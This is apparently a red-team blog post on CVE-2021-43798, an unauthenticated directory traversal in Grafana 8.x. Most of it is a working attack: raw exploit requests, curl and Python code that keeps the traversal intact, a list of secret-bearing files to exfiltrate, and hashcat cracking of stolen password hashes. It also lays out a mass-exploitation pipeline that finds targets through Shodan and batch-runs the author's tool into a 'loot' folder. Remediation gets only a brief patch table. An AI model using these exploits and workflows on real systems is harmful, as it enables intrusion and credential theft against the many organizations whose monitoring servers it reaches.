cd ../logs
2023-01-12·web·18 min·severity: critical

CVE-2021-43798 Grafana Directory Traversal Deep Dive

grafanacve-2021-43798directory-traversallfiwebred-teampenetration-testingautomationgraftraverse

CVE-2021-43798 Grafana directory traversal banner
CVE-2021-43798 Grafana directory traversal banner

CVE-2021-43798 is a critical unauthenticated directory traversal in Grafana 8.x that allows arbitrary file read through the /public/plugins/ asset endpoint. This post walks through root cause, manual exploitation, the URL normalization trap that breaks most scripts, high-value post-exploitation targets, and scaled testing with GrafTraverse — a purpose-built automation framework for authorized assessments.

01 · Introduction & Vulnerability Overview

1.1 Why Grafana Matters

Grafana is one of the most widely deployed open-source observability platforms. It aggregates metrics, logs, and traces from databases, cloud APIs, and LDAP directories through a single web interface. That central role makes it a high-value target: one successful file read can expose credentials for every system it monitors.

1.2 Vulnerability Summary

CVE-2021-43798 is an unauthenticated Local File Inclusion (LFI) / directory traversal flaw affecting Grafana 8.0.0-beta1 through 8.3.0, disclosed in December 2021. Attackers manipulate path segments in plugin asset requests to escape the intended directory and read arbitrary files on the host filesystem. No authentication or special configuration is required — a single crafted HTTP GET is sufficient.

1.3 Affected Versions

BranchLast VulnerableFirst Patched
8.3.x8.3.08.3.1
8.2.x8.2.68.2.7
8.1.x8.1.78.1.8
8.0.x8.0.68.0.7
7.5.x (LTS)7.5.117.5.12

Any unpatched 8.x instance prior to the versions above is exploitable with no preconditions.


02 · Root Cause Analysis

2.1 The Vulnerable Endpoint

Grafana serves plugin static assets via an intentionally unauthenticated route:

~ / text
/public/plugins/<PLUGIN_NAME>/<FILE_PATH>

Plugins must deliver JS, CSS, and images before a user session exists — so the route is public by design. The failure was missing path confinement after routing.

2.2 Expected vs Actual Behavior

Expected:

  1. Resolve the plugin asset directory.

  2. Append the requested file path.

  3. Verify the canonical path remains inside the asset directory.

  4. Serve the file only if confinement passes.

Actual: Step 3 was absent. Traversal sequences (../) were not neutralized, so the resolver followed them through the filesystem.

~ / http
GET /public/plugins/alertlist/../../../../../../../../etc/passwd

Resolves to /etc/passwd — outside the plugin asset tree entirely.

2.3 Why alertlist?

alertlist is a built-in plugin present in default installations and appears in most public PoCs. Any installed plugin name works; graph, table, prometheus, and loki are common alternatives when alertlist is removed.


03 · Reconnaissance & Target Discovery

Shodan Grafana discovery
Shodan Grafana discovery

Public Grafana dashboards are common in cloud, DevOps, and SOC/NOC environments. Building a target inventory is the first operational step.

3.1 Shodan Dorks

~ / text
http.title:"Grafana"
http.title:"Grafana" "Grafana v8."
http.title:"Grafana" "Grafana v8.0.0"

3.2 Censys / FOFA

~ / text
# Censys
services.http.response.html_title:"Grafana"

# FOFA
title="Grafana" && body="Grafana v8."

3.3 Target Inventory Format

Normalize results to one URL per line for batch tooling:

~ / text
http://192.168.1.10:3000
https://monitoring.target.com
https://grafana.victim.org:3000

04 · Manual Exploitation

4.1 The Exploit Request

~ / http
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Host: target.grafana.local:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

A vulnerable host returns 200 OK with /etc/passwd contents. Eight ../ segments reliably reach the filesystem root from typical install paths.

4.2 Plugin Fallback List

If alertlist returns 404, cycle built-in plugins:

~ / text
alertlist, graph, table, text, dashlist, prometheus, loki,
elasticsearch, mysql, postgres, cloudwatch, jaeger, timeseries

4.3 curl (with --path-as-is)

Manual curl exploitation
Manual curl exploitation

~ / bash
asbawy@kali$ curl -s --path-as-is \
  "http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

Without --path-as-is, curl normalizes ../ before sending and the server receives /etc/passwd on the wrong route.


05 · URL Normalization Bypass

This is the most operationally important detail — and the reason naive reimplementations fail.

5.1 The Problem

HTTP clients (Python requests, Go net/http, browsers) normalize paths before transmission:

~ / text
/public/plugins/alertlist/../../../../../../../../etc/passwd
  →  /etc/passwd

The server gets /etc/passwd, which does not match /public/plugins/404. Traversal is neutered on the client.

5.2 Broken Approach

~ / python
import requests

url = "http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
response = requests.get(url)  # Returns 404 — path was normalized

5.3 Correct Approach (PreparedRequest Override)

~ / python
from requests import Request, Session

session = Session()
raw_url = "http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

req = Request("GET", raw_url, headers={"User-Agent": "Mozilla/5.0"})
prepared = req.prepare()
prepared.url = raw_url  # Preserve traversal sequences

response = session.send(prepared, verify=False, allow_redirects=False)

Overwriting prepared.url after prepare() keeps the raw path in the HTTP request line. urllib3 does not re-normalize it.


06 · Post-Exploitation & High-Value Targets

Once directory traversal is confirmed, the immediate objective is identifying and exfiltrating files with maximum intelligence value. The following targets are prioritized in order of impact during a penetration test or red team engagement.

6.1 /etc/passwd

Maps user accounts, UIDs, GIDs, home directories, and shell assignments. While password hashes are in /etc/shadow on modern systems (typically not readable without root), /etc/passwd provides the roadmap for lateral movement: identifying service accounts, administrative users, and the Grafana process owner.

6.2 /etc/grafana/grafana.ini

grafana.ini
grafana.ini

The main Grafana configuration file. High-priority fields:

~ / ini
[database]
type = mysql
host = 127.0.0.1:3306
name = grafana
user = grafana
password = EXTRACTED_DB_PASSWORD     ; direct database access

[smtp]
enabled = true
host = smtp.company.internal:587
user = alerts@company.com
password = EXTRACTED_SMTP_PASSWORD   ; email infrastructure access

[auth.ldap]
enabled = true
config_file = /etc/grafana/ldap.toml  ; path to LDAP bind credentials

[security]
secret_key = EXTRACTED_SECRET_KEY    ; used for session token signing
admin_password = EXTRACTED_ADMIN_PW  ; plaintext admin password if set here

Extracting grafana.ini frequently provides a direct path to downstream infrastructure: the databases Grafana queries, the SMTP relay it uses for alerts, and the LDAP directory it authenticates against.

6.3 /etc/grafana/ldap.toml

If LDAP integration is enabled, this file contains the bind DN and password used for directory queries:

~ / toml
[[servers]]
host = "ldap.company.internal"
port = 389
bind_dn = "cn=grafana,dc=company,dc=internal"
bind_password = "EXTRACTED_LDAP_BIND_PASSWORD"

A valid LDAP bind credential may allow enumeration or authentication against Active Directory or other directory services.

6.4 /var/lib/grafana/grafana.db

The most consequential target. Grafana's internal SQLite database contains:

  • User accounts with PBKDF2-SHA256 password hashes (10,000 iterations)
  • Data source configurations with embedded plaintext credentials for Prometheus, InfluxDB, Elasticsearch, CloudWatch, and other backends
  • API keys and service account tokens
  • Dashboard and alert definitions (operational intelligence about monitored infrastructure)
  • Active session tokens

Because grafana.db is a binary SQLite file, it must be downloaded in raw byte mode. Any attempt to decode it as UTF-8 text will corrupt the binary structure and render it unreadable by SQLite.

~ / python
content = exploit(target, "var/lib/grafana/grafana.db")
if content:
    with open("grafana.db", "wb") as f:  # Binary write — not text
        f.write(content)

6.5 /proc/self/environ

On Linux, reading the process environment from /proc/self/environ reveals environment variables set in the Grafana process, which frequently include injected secrets:

GF_SECURITY_ADMIN_PASSWORD=supersecret GF_DATABASE_PASSWORD=dbpassword AWS_ACCESS_KEY_ID=AKIA... AWS_SECRET_ACCESS_KEY=...

Container deployments on Kubernetes and Docker are particularly likely to expose secrets this way, since environment variable injection is the standard pattern for passing secrets to containerized applications.

6.6 /proc/self/cmdline and /proc/self/cwd

/proc/self/cmdline reveals the full command line used to launch Grafana, including any flags that expose configuration paths. /proc/self/cwd reveals the current working directory of the process. Together they help map the exact filesystem layout when the default paths are not accurate.

6.7 Credential Processing with grafana2hashcat

After exfiltrating grafana.db, PBKDF2 hashes can be extracted and formatted for Hashcat:

~ / bash
python3 grafana2hashcat.py grafana_hashes.txt > hashes.txt
hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt --force

Hashcat mode 10900 handles PBKDF2-HMAC-SHA256. The grafana2hashcat utility parses the SQLite user table and outputs lines in the format:

sha256:10000:<base64_salt>:<base64_hash>

Successfully cracked hashes yield administrative access to the Grafana interface and, by extension, every data source it orchestrates.


07 · Automation with GrafTraverse

Manual exploitation does not scale across hundreds of endpoints. GrafTraverse is a command-line framework for authorized security testing of CVE-2021-43798. It fixes common request-handling bugs in public PoCs and adds multi-threaded scanning, plugin discovery, credential extraction, and structured reporting.

Repository: https://github.com/Asbawy/GrafTraverse-CVE-2021-43798

GrafTraverse automation framework
GrafTraverse automation framework

7.1 Features

FeatureDescription
Multi-plugin brute-forceProbes 40+ built-in plugins to find a working traversal path
Interactive modeMenu-driven single-target exploitation with live file preview
Batch modeConcurrent multi-target scanning with configurable workers
Wordlist modeDeep file enumeration from custom wordlists
Hash extractionAuto-extracts PBKDF2 hashes from downloaded grafana.db
JSON / CSV loggingStructured output for reporting pipelines
Proxy & custom headersBurp/ZAP integration and WAF-bypass headers
False-positive filteringRejects plugin JS/CSS/HTML responses

7.2 Installation

~ / bash
asbawy@kali$ git clone https://github.com/Asbawy/GrafTraverse-CVE-2021-43798.git
asbawy@kali$ cd GrafTraverse-CVE-2021-43798
asbawy@kali$ pip3 install requests
asbawy@kali$ chmod +x GrafTraverse.py

7.3 Interactive Single Target

~ / bash
asbawy@kali$ python3 GrafTraverse.py single -u http://10.10.10.50:3000

Menu options include /etc/passwd, grafana.ini, grafana.db, custom paths, full automated loot, and plugin scanning.

7.4 Plugin Discovery Scan

~ / bash
asbawy@kali$ python3 GrafTraverse.py scan -u http://target:3000

7.5 Batch Scanning

~ / bash
asbawy@kali$ python3 GrafTraverse.py batch -l targets.txt --workers 10 \
  --output-dir ./loot --csv results.csv --json results.json \
  --proxy http://127.0.0.1:8080

7.6 Example Automation Workflow

~ / bash
# Step 1: Reconnaissance inventory
shodan download grafana_targets 'http.title:"Grafana" "Grafana v8."'
shodan parse --fields ip_str,port grafana_targets.json > inventory.txt

# Step 2: Normalize to URL format
awk '{print "http://" $1 ":" $2}' inventory.txt > targets.txt

# Step 3: Batch exploitation with 10 workers
python3 GrafTraverse.py batch -l targets.txt --workers 10 --output-dir ./loot --csv results.csv --json results.json --proxy http://127.0.0.1:8080

# Step 4: Process extracted databases
for db in ./loot/*_grafana.db; do
  python3 grafana2hashcat.py "$db" >> all_hashes.txt
done

# Step 5: Crack recovered hashes
hashcat -m 10900 all_hashes.txt wordlist.txt

08 · Remediation

8.1 Primary Fix: Upgrade

BranchMinimum Patched
8.3.x8.3.1
8.2.x8.2.7
8.1.x8.1.8
8.0.x8.0.7
7.5.x7.5.12

09 · Conclusion

CVE-2021-43798 demonstrates how a missing path confinement check on a public static-asset route becomes full filesystem read access. The traversal itself is simple; the hard part is building reliable automation that preserves malicious paths through HTTP client normalization.

For offensive practitioners, internalize the PreparedRequest override before writing any traversal tooling. For defenders, treat observability platforms as credential vaults — patch aggressively, segment network access, and monitor plugin asset routes.

GrafTraverse automates the repeatable parts of this assessment for authorized engagements: https://github.com/Asbawy/GrafTraverse-CVE-2021-43798


References

about the author
Eye of Ra
Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

// end of post — return /logs